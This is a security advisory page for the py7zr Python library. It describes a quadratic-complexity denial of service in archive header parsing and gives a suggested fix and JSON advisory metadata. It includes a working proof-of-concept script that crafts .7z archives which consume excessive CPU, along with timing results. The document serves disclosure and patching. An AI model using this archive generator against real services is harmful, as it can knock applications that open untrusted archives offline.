GHSA-H4GH-22QQ-72R7

Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-06-19 21:16
VLAI
Summary
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
Details

Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.

Suggested fix — replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))

PoC

``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY

MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue()

def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue()

  out = io.BytesIO()
  out.write(MAGIC)
  out.write(b'\x00\x04')
  next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
  start_header = (struct.pack('<Q', 0)
                  + struct.pack('<Q', len(header_data))
                  + struct.pack('<I', next_crc))
  out.write(struct.pack('<I', binascii.crc32(start_header) &

0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue()

for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.init(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.

Results:

n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s

Impact

Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:16:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() \u2014 no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix \u2014 replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b\u0027\\x37\\x7a\\xbc\\xaf\\x27\\x1c\u0027\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b\u0027\\x00\\x04\u0027)\n      next_crc = binascii.crc32(header_data) \u0026 0xFFFFFFFF\n      start_header = (struct.pack(\u0027\u003cQ\u0027, 0)\n                      + struct.pack(\u0027\u003cQ\u0027, len(header_data))\n                      + struct.pack(\u0027\u003cI\u0027, next_crc))\n      out.write(struct.pack(\u0027\u003cI\u0027, binascii.crc32(start_header) \u0026\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), \u0027r\u0027) as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction.",
  "id": "GHSA-h4gh-22qq-72r7",
  "modified": "2026-06-19T21:16:33Z",
  "published": "2026-06-19T21:16:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…